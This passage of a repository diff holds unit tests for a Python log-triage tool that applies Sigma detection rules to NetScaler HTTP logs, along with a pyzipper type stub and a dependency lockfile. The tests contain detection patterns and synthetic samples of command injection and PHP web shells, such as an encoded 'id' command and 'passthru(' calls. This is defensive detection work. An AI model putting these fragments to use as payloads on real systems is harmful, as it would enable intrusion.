json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(events), 1)
self.assertEqual(events[0]["rules"], ["decoded-id"])
self.assertEqual(events[0]["rule_details"], config["patterns"])
if __name__ == "__main__":
unittest.main()
+132
View File
@@ -0,0 +1,132 @@
import hashlib
import io
import json
import tempfile
import unittest
from contextlib import redirect_stderr, redirect_stdout
from importlib.resources import files
from pathlib import Path
from unittest.mock import patch
from netscaler_triage.cli import main
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher, load_config, public_config
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher
RULE = """title: Decoded command with request context
id: 283224da-7d4b-4436-a564-bf16e14b2536
logsource:
product: netscaler
service: http_access
detection:
selection:
uri|startswith: /vpn/
raw|re: '^id$'
excluded:
uri|endswith: /health?x=aWQ%3D
condition: selection and not excluded
falsepositives:
- Authorized diagnostic requests require analyst review.
level: medium
"""
def write_requests(logs: Path) -> None:
logs.mkdir()
lines = [
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET {uri} HTTP/1.1" 403 0 "-" "synthetic-agent"\n'
for uri in ("/vpn/test?x=aWQ%3D", "/vpn/health?x=aWQ%3D", "/other?x=aWQ%3D")
]
(logs / "httpaccess.log").write_text("".join(lines), encoding="utf-8")
def findings(output: Path) -> list[dict[str, object]]:
return [json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()]
class SigmaIntegrationTests(unittest.TestCase):
def test_cli_yaml_structured_context_decoded_and_negation(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs, output, rules = root / "logs", root / "results", root / "rules.yml"
write_requests(logs)
rules.write_text(RULE, encoding="utf-8")
with redirect_stdout(io.StringIO()), redirect_stderr(io.StringIO()):
code = main(
[
"scan",
"--input",
f"ADC={logs}",
"--output",
str(output),
"--config",
str(rules),
"--no-default-patterns",
]
)
self.assertEqual(code, 0)
rows = findings(output)
matches = [row for row in rows if row.get("rules")]
self.assertEqual(len(matches), 1)
self.assertEqual(matches[0]["line"], 1)
details = matches[0]["rule_details"]
self.assertIsInstance(details, list)
assert isinstance(details, list)
self.assertTrue(any("decoded:" in str(detail["basis"]) for detail in details))
self.assertIn("sigma_decoded_views", matches[0])
self.assertTrue(all(detail["source"] == "rules.yml" for detail in details))
views, layers = matches[0]["sigma_decoded_views"], matches[0]["decoding"]
assert isinstance(views, list) and isinstance(layers, list)
for detail in details:
for basis in detail["basis"]:
if basis.startswith("decoded:"):
index = int(basis.split(":", 1)[1])
self.assertEqual(layers[views[index]]["output"], "id")
def test_decoded_sha256_is_a_structured_sigma_field(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs, output, rules = root / "logs", root / "results", root / "hash.yml"
write_requests(logs)
digest = hashlib.sha256(b"id").hexdigest()
rules.write_text(
"title: Synthetic decoded hash\nlogsource: {product: netscaler}\n"
f"detection:\n selection:\n SHA256: '{digest}'\n condition: selection\n",
encoding="utf-8",
)
scan([("ADC", logs)], output, [load_config(rules)], defaults=False)
matched = [row for row in findings(output) if row.get("rules")]
self.assertEqual(len(matched), 3)
self.assertTrue(all("Synthetic decoded hash" in str(row["rules"]) for row in matched))
def test_public_pack_parses_and_loads_by_default(self) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
pack = SigmaMatcher.from_yaml(content, source="public_sigma.yml")
self.assertGreaterEqual(len(pack.rules), 22)
self.assertEqual(pack.indicators, public_config()["indicators"])
matcher = Matcher([])
hits = matcher.search_sigma({"raw": "<?php passthru('synthetic');", "kind": "http_access"})
self.assertTrue(hits)
self.assertTrue(all(hit["source"] == "public_sigma.yml" for hit in hits))
def test_sigma_limit_marks_partial_and_continues(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs, output = root / "logs", root / "results"
logs.mkdir()
(logs / "messages").write_text("first\nsecond\n", encoding="utf-8")
with patch.object(
Matcher, "search_sigma", side_effect=[SigmaEvaluationLimit("limit"), []]
):
result = scan([("ADC", logs)], output, [], defaults=False, extract_all=True)
self.assertEqual(result["status"], "partial")
self.assertEqual(result["counts"]["records"], 2)
self.assertEqual(result["counts"]["matching_errors"], 1)
rows = findings(output)
self.assertTrue(rows[0]["analysis_errors"])
self.assertEqual(rows[1]["raw"], "second")
if __name__ == "__main__":
unittest.main()
+173
View File
@@ -0,0 +1,173 @@
import unittest
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher, UnsupportedSigma
def rule(detection: str, service: str = "") -> str:
return (
"title: Local test\nlogsource:\n product: netscaler\n"
+ service
+ "detection:\n"
+ detection
)
class SigmaTests(unittest.TestCase):
def test_catalog_not_repeated_in_hit(self) -> None:
text = rule(" s: [abc]\n condition: s\n")
text += "indicators:\n - type: ipv4\n value: 192.0.2.1\n status: reference_only\n"
text += "indicator_status: reference_only\n"
matcher = SigmaMatcher.from_yaml(text)
self.assertEqual(matcher.indicators[0]["value"], "192.0.2.1")
hit = matcher.search_with_details({"raw": "abc"})[0]
self.assertEqual(hit["custom_attributes"], {"indicator_status": "reference_only"})
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(text.replace("value: 192.0.2.1", "value: 123"))
def test_evaluation_bounds(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n"))
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"raw": "x" * 1048577})
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"raw": "abc"}, ["abc"] * 65)
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"raw": "abc"}, ["x" * 1048577])
def test_boolean_and_keywords(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" selection: [alpha, beta]\n exclude: [benign]\n"
" condition: selection and not exclude\n"
)
)
self.assertTrue(matcher.search({"raw": "prefix ALPHA suffix"}))
self.assertFalse(matcher.search({"raw": "alpha benign"}))
self.assertFalse(matcher.search({"raw": "other"}))
def test_modifiers_fields_and_all(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" s:\n uri|startswith: /vpn/\n user_agent|contains|all: [curl, exploit]\n"
" source_ip|endswith: '.1'\n condition: s\n"
)
)
event = {"fields": {"uri": "/vpn/a", "user_agent": "CURL exploit", "src": "192.0.2.1"}}
self.assertTrue(matcher.search(event))
self.assertFalse(
matcher.search({"fields": {"uri": "/vpn/a", "user_agent": "curl", "src": "192.0.2.1"}})
)
def test_selectors_and_wildcard_escaping(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" sel_a: {uri: '/a*'}\n sel_b: {user_agent: 'agent?'}\n"
" condition: all of sel_*\n"
)
)
self.assertTrue(matcher.search({"uri": "/abcdef", "user_agent": "agentX"}))
self.assertFalse(matcher.search({"uri": "/abcdef", "user_agent": "agentXY"}))
matcher = SigmaMatcher.from_yaml(
rule(" sel_a: {uri: '/literal\\*'}\n sel_b: [other]\n condition: 1 of sel_*\n")
)
self.assertTrue(matcher.search({"uri": "/literal*"}))
self.assertFalse(matcher.search({"uri": "/literalanything"}))
def test_regex_service_and_decoded_basis(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" s:\n raw|re: '(?i)passthru\\s*\\('\n condition: s\n",
" service: http_access\n",
),
source="test.yml",
)
hits = matcher.search_with_details(
{"raw": "encoded bytes", "kind": "http_access"}, ["passthru('id')"]
)
self.assertEqual(hits[0]["basis"], ["decoded:0"])
self.assertEqual(hits[0]["source"], "test.yml")
self.assertFalse(matcher.search({"raw": "passthru('id')", "kind": "syslog"}))
def test_regex_case_is_not_string_case(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {raw|re: Alpha}\n condition: s\n"))
self.assertTrue(matcher.search({"raw": "Alpha"}))
self.assertFalse(matcher.search({"raw": "alpha"}))
def test_structured_only_match_is_not_attributed_to_decoding(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {SHA256: [abc, def]}\n condition: s\n"))
hits = matcher.search_with_details({"sha256": ["def"], "raw": "original"}, ["decoded"])
self.assertEqual(hits[0]["basis"], ["raw"])
def test_null_numeric_and_missing_fields(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200, absent: null}\n condition: s\n"))
self.assertTrue(matcher.search({"status": 200}))
self.assertFalse(matcher.search({"status": "200"}))
self.assertFalse(matcher.search({"status": 200, "absent": "value"}))
def test_numeric_and_boolean_lists_preserve_types(self) -> None:
numeric = SigmaMatcher.from_yaml(rule(" s: {status: 403}\n condition: s\n"))
self.assertTrue(numeric.search({"status": [200, 403]}))
self.assertFalse(numeric.search({"status": ["403", True]}))
boolean = SigmaMatcher.from_yaml(rule(" s: {enabled: true}\n condition: s\n"))
self.assertTrue(boolean.search({"enabled": [False, True]}))
self.assertFalse(boolean.search({"enabled": [0, 1, "true"]}))
def test_limits_cannot_be_skipped_by_service_or_short_circuit(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(" s: {status: 200, uri: '*'}\n condition: s\n", " service: http_access\n")
)
for event in (
{"kind": "syslog", "raw": "x" * 1048577},
{"kind": "http_access", "status": 404, "uri": ["x" * 1048577]},
):
with self.subTest(kind=event["kind"]), self.assertRaises(SigmaEvaluationLimit):
matcher.search(event)
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"kind": "syslog"}, ["x" * 1048577])
def test_unused_metadata_is_not_traversed_and_used_lists_are_bounded(self) -> None:
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200}\n condition: s\n"))
self.assertTrue(matcher.search({"status": 200, "unrelated": ["x" * 1048577]}))
with self.assertRaises(SigmaEvaluationLimit):
matcher.search({"status": [200] * 10001})
def test_decoded_views_preserve_positive_and_negative_structured_context(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(
" s: {raw|contains: suspicious, uri|startswith: /vpn/}\n"
" excluded: {source_ip: '192.0.2.5'}\n"
" condition: s and not excluded\n"
)
)
event = {"raw": "encoded", "uri": "/vpn/check", "source_ip": "192.0.2.6"}
hits = matcher.search_with_details(event, ["suspicious"])
self.assertEqual(hits[0]["basis"], ["decoded:0"])
self.assertFalse(matcher.search({**event, "source_ip": "192.0.2.5"}, ["suspicious"]))
self.assertFalse(matcher.search({**event, "uri": "/health"}, ["suspicious"]))
def test_explicitly_unsupported(self) -> None:
for modifier in ("base64", "cidr", "exists", "fieldref", "cased"):
with self.subTest(modifier=modifier), self.assertRaises((UnsupportedSigma, ValueError)):
SigmaMatcher.from_yaml(rule(f" s:\n raw|{modifier}: abc\n condition: s\n"))
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n", " service: windows\n"))
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(
rule(" s: [abc]\n condition: s\n").replace("netscaler", "windows")
)
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml("title: Unsupported\ncorrelation: {type: event_count}\n")
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(rule(" s: &selector [abc]\n condition: s\n"))
with self.assertRaises(UnsupportedSigma):
SigmaMatcher.from_yaml(rule(" s: [abc]\n s: [def]\n condition: s\n"))
def test_timeout(self) -> None:
matcher = SigmaMatcher.from_yaml(
rule(" s: {raw|re: '(a+)+$'}\n condition: s\n"), timeout=0.00001
)
with self.assertRaises(TimeoutError):
matcher.search({"raw": "a" * 50000 + "!"})
if __name__ == "__main__":
unittest.main()
+25
View File
@@ -0,0 +1,25 @@
"""Narrow pyzipper API used by extraction and encrypted archive tests.
The constructor signature and WZ_AES constant are checked against pyzipper 0.4.0.
Inherited ZipFile methods describe the compatible read/write interface.
"""
from os import PathLike
from typing import IO, Literal
from zipfile import ZipFile
WZ_AES: Literal["WZ_AES"]
class AESZipFile(ZipFile):
def __init__(
self,
file: str | PathLike[str] | IO[bytes],
mode: Literal["r", "w", "x", "a"] = ...,
compression: int = ...,
allowZip64: bool = ...,
compresslevel: int | None = ...,
*,
strict_timestamps: bool = ...,
encryption: str | None = ...,
encryption_kwargs: dict[str, int] | None = ...,
) -> None: ...
Generated
+996
View File
@@ -0,0 +1,996 @@
version = 1
revision = 3
requires-python = ">=3.14"
resolution-markers = [
"python_full_version >= '3.15'",
"python_full_version < '3.15'",
]
[[package]]
name = "ast-serialize"
version = "0.11.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/54/1e/4f6082cdd6e5a29093513e9a3eabc5ed1c5331a9a84386b2fece80a00a48/ast_serialize-0.11.2.tar.gz", hash = "sha256:976a5bd75845d22f4b52905ddf53ab669ef1b14dba7735f5512841a2ef2b5450", size = 954387, upload-time = "2026-09-13T18:48:55.673Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a3/2e/beec3364eef4b01793a676d8cd16e9014c42044a5505000ceae3955e33fa/ast_serialize-0.11.2-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:f6a8dfc5ab204a706f6e5d39c6f77c18c27ef084fa2081803a64a9160ce89277", size = 897089, upload-time = "2026-09-13T18:47:22.69Z" },
{ url = "https://files.pythonhosted.org/packages/6f/d7/ef56443df2891c6ba2c4019c2cb3dcaf97c9948da6d963068e04e8dac6ea/ast_serialize-0.11.2-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:cb073bfa15742699d408ac50f60878383b5665ae1791d1b6799ea6f08633cd77", size = 1235218, upload-time = "2026-09-13T18:47:24.541Z" },
{ url = "https://files.pythonhosted.org/packages/42/8d/cff58d17ba1d0272ff0b7ab5d3bdfcf8f47317eb0f47c001d394bffebf95/ast_serialize-0.11.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1d6ad94edbe93bf1dabc06c9f37d55b898fdabc456aa6d7ced5e23c14f795f32", size = 1216399, upload-time = "2026-09-13T18:47:26.202Z" },
{ url = "https://files.pythonhosted.org/packages/de/d2/a1da7675af5f42335c36e4da6d86ef4fd7168cead18de81df0a2d6faeb1a/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40b2801cf2221bd922d9f69d2f0ebc373c3db47207315d525b2d87fa161a2af4", size = 1282064, upload-time = "2026-09-13T18:47:27.787Z" },
{ url = "https://files.pythonhosted.org/packages/97/89/5a400a13b2c9c0152ebb5ad45408a3fe5e4e60e325d3ac4e5cf6e915a0cc/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fd666cebd6ab3b3c0fd348a6202c26e18a401ee34293c3804d3472266bc146f6", size = 1285864, upload-time = "2026-09-13T18:47:29.667Z" },
{ url = "https://files.pythonhosted.org/packages/02/b8/80a381c70fd49f0316fb0383c4f9e4c13e81b010b64889bd45898ce8f5f4/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0d01f61352c96370febf6c0dbd488dee9183a731fb2702170da9163ae317cded", size = 1554755, upload-time = "2026-09-13T18:47:31.257Z" },
{ url = "https://files.pythonhosted.org/packages/90/97/dcaa34a32d2db789221c125b3eb10feb5089715fe53d9874d627afc26231/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a0fd40c668b0fa19b8fdb61d9e63d547e2e19cfbfe053a51ef0b6c37070298a8", size = 1301807, upload-time = "2026-09-13T18:47:32.714Z" },
{ url = "https://files.pythonhosted.org/packages/5c/9a/84a22420cb312642d7d31547c644d09a3d101418c6d6b9ef2ec30735cf11/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efa819d7c14c8e4153dcd84671826331538be7cbe460383fc6386f5eea5bd234", size = 1301941, upload-time = "2026-09-13T18:47:34.418Z" },
{ url = "https://files.pythonhosted.org/packages/20/8a/aa5f3dcf1aed9678c25982f40d366004e3c0cac47bc0c240f6b837dcbb1f/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:a9ffa8a197a721f07a352d0be6185f5b3e6f9aaebfdb66169ed652108531ae3b", size = 1307910, upload-time = "2026-09-13T18:47:36.253Z" },
{ url = "https://files.pythonhosted.org/packages/78/79/91a5102797fe3dc992171382d8579bcb33cbd1424b864ad3117ac43fb3fe/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:00119a8fb8c1dc0f1fab023f4d8071fa49e3b0208ee54d589fd463c16ab0124e", size = 1356258, upload-time = "2026-09-13T18:47:37.984Z" },
{ url = "https://files.pythonhosted.org/packages/51/52/54eeef9918e187ced417c4363eecea66975314cd5b9c91759eef7f7b714b/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0de02520c11391a026e62987a9aa2c3c2ff01545155059ddf0c4bdf2c5ecbe9f", size = 1459057, upload-time = "2026-09-13T18:47:39.891Z" },
{ url = "https://files.pythonhosted.org/packages/e4/cb/fd84b52b15d42f2423319cffd1fb7f1e9df5d5198e69ab0b449c450254cf/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b4e4558956b6a0fb35e18fba58f7d1810b1f2c0e6b52352572cd5dfb6b4ef33a", size = 1562447, upload-time = "2026-09-13T18:47:41.727Z" },
{ url = "https://files.pythonhosted.org/packages/be/92/9fb34f2e64b84a63cca92fb86bd0847b995a63b67477f44c20502fb60352/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6061a54f39e82a9f2cbcb9c268fc441890e4818a6636473caa4f4063254e0750", size = 1556423, upload-time = "2026-09-13T18:47:43.357Z" },
{ url = "https://files.pythonhosted.org/packages/75/0f/c43c44449e7ebc4e83ebd48750088fb06234622faa2d62d2a6dc8970d2a3/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:85fbb01e83967a126d71f679f2b9528ef0912cb0854aa1a4657314c34e255b57", size = 1687156, upload-time = "2026-09-13T18:47:44.995Z" },
{ url = "https://files.pythonhosted.org/packages/2b/a7/9e520f4a79b639da9ee20c1e747c3d739329e902fc55ac38065f25419f56/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:7aaaffc32905159774a107d3cf33dad59bd41b7a0d1bc9885532186753ee7439", size = 1481008, upload-time = "2026-09-13T18:47:46.602Z" },
{ url = "https://files.pythonhosted.org/packages/48/a8/bdd3989f19de09cffcd8179c131f6741a5a8619705fc75b09541ff61530b/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:08eda88a0f290a36c38cab33df8bf7e35eb95bc802ca5beb2c8fcda471a7d10c", size = 1501597, upload-time = "2026-09-13T18:47:48.265Z" },
{ url = "https://files.pythonhosted.org/packages/a5/8a/ca2dce2950875a4ef1d7c298196f803b0adcdb7c15ed0cecc71d84bccd70/ast_serialize-0.11.2-cp314-cp314t-win32.whl", hash = "sha256:76cc294246e60a914326b4ca88c6a5ea89c064906614aaf1537ce82f09e9449f", size = 1119503, upload-time = "2026-09-13T18:47:49.896Z" },
{ url = "https://files.pythonhosted.org/packages/5a/12/3f38e3613d07c46f9f81c5b1352748c6552397cc52825502e2c6ae44c6ea/ast_serialize-0.11.2-cp314-cp314t-win_amd64.whl", hash = "sha256:43b51e6ebe6549bf21416c3c78ee886147b80875a87cc6f69e303dde0d75be0b", size = 1156828, upload-time = "2026-09-13T18:47:51.454Z" },
{ url = "https://files.pythonhosted.org/packages/22/90/f89a4f67428a261daafdb69a0d0132c27933268702d1ba47e0b61c51aff1/ast_serialize-0.11.2-cp314-cp314t-win_arm64.whl", hash = "sha256:8df32ad4ff7843734a6c2f067ee974f6d3109ee5a2c3e1a9d2f79347bd282a9a", size = 1128298, upload-time = "2026-09-13T18:47:53.008Z" },
{ url = "https://files.pythonhosted.org/packages/0b/55/a1962188abf0e62d84d55892bb044347e434711763b9a1d4ad867a70c1be/ast_serialize-0.11.2-cp315-abi3.abi3t-macosx_10_12_x86_64.whl", hash = "sha256:ab924ba260efd7509492f272d4e236d24564033f20c005d7c63a107c6a76fc85", size = 1235457, upload-time = "2026-09-13T18:47:54.554Z" },
{ url = "https://files.pythonhosted.org/packages/2a/ad/439c2959150718446af76fbe2f4000f35eba9869ef8564f3d9a3d0b1c370/ast_serialize-0.11.2-cp315-abi3.abi3t-macosx_11_0_arm64.whl", hash = "sha256:a586be418eb70a9f1396cea29ddac8f4b9bf277fb73ea2340db31e218bc00f32", size = 1215705, upload-time = "2026-09-13T18:47:56.178Z" },
{ url = "https://files.pythonhosted.org/packages/6d/d8/2c6542fc3e7c56a0a25d8d12d034d5a2d2e1900e292567b1c1dca8e83124/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8532f20916fa3189d4d785ef2a62d93c4d651ec9c5bffda66d2fc36898351f34", size = 1282530, upload-time = "2026-09-13T18:47:57.619Z" },
{ url = "https://files.pythonhosted.org/packages/fa/ad/6f6755cd0842db46c3b10b1e4735f14aad78d71dea4753eb46933101711b/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ee732ae167e686d1d3c00f98d7d82b23138304694f0441b14d7ddf9c0f8a921c", size = 1287792, upload-time = "2026-09-13T18:47:59.227Z" },
{ url = "https://files.pythonhosted.org/packages/03/40/5da672f5dd23fb7dc0c884c97711e56a3540f2fe3c4355a81f8beb385911/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:75a1c7f46b9c19fc0ae01ca6fd076301628faa2ed7a8edbd55c6353c483946a3", size = 1557971, upload-time = "2026-09-13T18:48:00.96Z" },
{ url = "https://files.pythonhosted.org/packages/df/c7/2bb25684f697801eb72866fdb94ed5edbff3867ce878b0e542a4a5b9dab9/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2fdf31a0bb85ea2575cc91669f005e6647d2efed491231c4dc1497bc9a5b3aa6", size = 1303230, upload-time = "2026-09-13T18:48:02.337Z" },
{ url = "https://files.pythonhosted.org/packages/d8/85/754681846f26e0ff1da729b1ffe3171e93c22f0aa6ec3cea5b14e3703846/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b78e6fdef3b06c86ed263e1962fee5a7b9d2d158e738b212d13b2c605ee12f5", size = 1302271, upload-time = "2026-09-13T18:48:03.915Z" },
{ url = "https://files.pythonhosted.org/packages/fb/dc/f5521d8cb44b69095c3982ae3658a12c403e0efa19e51aeb9c8a79dff60c/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_31_riscv64.whl", hash = "sha256:8d62a47714c8bc432b9fabcc29989c815c5da17327d35151f2fd0d85c2a7a5ff", size = 1309529, upload-time = "2026-09-13T18:48:05.562Z" },
{ url = "https://files.pythonhosted.org/packages/73/0d/649182c7fd7c4f782279bed514de2dd67e48a5afecb605a098d64fdc01fd/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8a5ffa70e76191dcf240d3c43e20c93b3bfd26f54d89148c762d57837f5bcd2c", size = 1356869, upload-time = "2026-09-13T18:48:07.534Z" },
{ url = "https://files.pythonhosted.org/packages/bf/cc/aff4d84c16afa742d13a75384127c7d24594dc8c304f0558a15924fd51af/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_aarch64.whl", hash = "sha256:bfbe47a3a7c368f28836e78b2440a3643ac0ec4c67d9fe53588e1448f0a3d35d", size = 1460006, upload-time = "2026-09-13T18:48:09.162Z" },
{ url = "https://files.pythonhosted.org/packages/94/a7/891cbec2e5e0d7159196159d3ff0646622f3120ff4576c839ac2dd56c719/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_armv7l.whl", hash = "sha256:7f1823275b246f9c7d373be6879e4eec09686948895d4ad083f4b27fd7e4da70", size = 1562935, upload-time = "2026-09-13T18:48:10.978Z" },
{ url = "https://files.pythonhosted.org/packages/45/c4/2c8c4498340ea9aff87a9fd408309aa25d56dd51d7bbddfdb46a3c31424a/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_i686.whl", hash = "sha256:57c0f5cb0021a5beb1e5e4d6e840ae2f23a28909703ef4d256a144cc1ad3d437", size = 1557109, upload-time = "2026-09-13T18:48:12.616Z" },
{ url = "https://files.pythonhosted.org/packages/0d/8b/c5d4e5226fa18885fe17f949aee3ab1aeb8389c384d946ec1b7c9489cc94/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_ppc64le.whl", hash = "sha256:cd320a5c4f1f2742af97eea22954f776379175c5ef2504801e9a155f2ff9a4d7", size = 1691603, upload-time = "2026-09-13T18:48:14.293Z" },
{ url = "https://files.pythonhosted.org/packages/73/d6/1d2ca472586f9e3416a289a22f36eeb6dd6f47d77b1a4aba358405babbc7/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_riscv64.whl", hash = "sha256:13b13afe32e845c86a573497729e1b7ddeb26c572c78bf50ece51da23b8fad5e", size = 1483053, upload-time = "2026-09-13T18:48:15.789Z" },
{ url = "https://files.pythonhosted.org/packages/0e/16/d3703a7c1e3c76b144ac9349a54d3926d0749918a8dc13a66cede208b8ec/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_x86_64.whl", hash = "sha256:9d80a81ec84660422579bdb8e789f656a794b48c7a1ae1261f6bd8bc1897d17d", size = 1502499, upload-time = "2026-09-13T18:48:17.405Z" },
{ url = "https://files.pythonhosted.org/packages/2b/e4/d974e55c2e247ef26ed1df01c74940583db9a5b3a8bcaad5732c6e2047fb/ast_serialize-0.11.2-cp315-abi3.abi3t-win32.whl", hash = "sha256:af8c003ce721b0099dd55cef4ba733500fc3054ea0cc8565d8957aaf7cccdeb4", size = 1119739, upload-time = "2026-09-13T18:48:19.005Z" },
{ url = "https://files.pythonhosted.org/packages/0d/00/d229443488e095054d5e0c0cc20689a2633b899d735849ff1b2c8e4f0cbf/ast_serialize-0.11.2-cp315-abi3.abi3t-win_amd64.whl", hash = "sha256:554d117cb916d8032d85007c654d179efbbfd446174c048062778136a922944f", size = 1158602, upload-time = "2026-09-13T18:48:20.524Z" },
{ url = "https://files.pythonhosted.org/packages/11/75/389fc1a6cfa0c4b2ce522f47d8401329d8bb11732e516d46465960fef1d9/ast_serialize-0.11.2-cp315-abi3.abi3t-win_arm64.whl", hash = "sha256:d60515335750d431e462af6e722bb55720a5e7827192777bddfd9c4376065a4d", size = 1128842, upload-time = "2026-09-13T18:48:22.052Z" },
{ url = "https://files.pythonhosted.org/packages/45/7d/c4f36898f19c728d091cdfdf960c9488e8d82bbe2e49ba13c05f43907a5d/ast_serialize-0.11.2-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:89499a439955931281986e97ca4dd3c064bf0d2e0027c0017344eb86667733a1", size = 897204, upload-time = "2026-09-13T18:48:23.695Z" },
{ url = "https://files.pythonhosted.org/packages/b1/54/f67120006fc73a55b6d057d4662d061fbb4eceafce3047c76ca8b382eb11/ast_serialize-0.11.2-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:daadf1c3e0224621607ffe16f1379e4bd372271ed2e1db8a67878f0bab3ef7e4", size = 1240734, upload-time = "2026-09-13T18:48:25.287Z" },
{ url = "https://files.pythonhosted.org/packages/9a/7e/8f2ab68bddbe58a66fbbaad87beeae3e7d7edddb17263d1fc423936cf34d/ast_serialize-0.11.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:1844ed9a487fb3de7325c52ddb33f2918b66b65cd54d3f8d83d23785ffe99fa4", size = 1228053, upload-time = "2026-09-13T18:48:26.788Z" },
{ url = "https://files.pythonhosted.org/packages/d2/1b/8a69ab68f4c1603819f0481d756abdd8caf27cec7f1d77caa71007ebe997/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b17869f4ba261a5fa468a753328a548f4dbaf74b4eadae9e28aff66df7f1425b", size = 1292542, upload-time = "2026-09-13T18:48:28.295Z" },
{ url = "https://files.pythonhosted.org/packages/d1/ce/872f2e00f0467c289e483f0a34543463347243a2d0632748d89fcee5e0dc/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:feb16d9c2a720e0120c58dd5d6e7b3c7c86b43249b60a3bc212bcb8fa031e2dd", size = 1294791, upload-time = "2026-09-13T18:48:29.969Z" },
{ url = "https://files.pythonhosted.org/packages/3a/82/36277c12af861c64b375c316135d8feffe3f400568463a8d2b2de4c2c4fb/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f3109fe4805384effc8d0f8e41fbf875aa8f389af91b4348c1cfb60ea6e4cb82", size = 1567583, upload-time = "2026-09-13T18:48:31.85Z" },
{ url = "https://files.pythonhosted.org/packages/b0/d7/ec643df91cea8bcbcb4e8011d6a8b08e5119b84f9554879f3e3c786d29d1/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:abdb3e49ba053c3486ac1263bee9f16cc9a4a8abd9f8c90bfc21e3669f3ad9d1", size = 1312878, upload-time = "2026-09-13T18:48:33.495Z" },
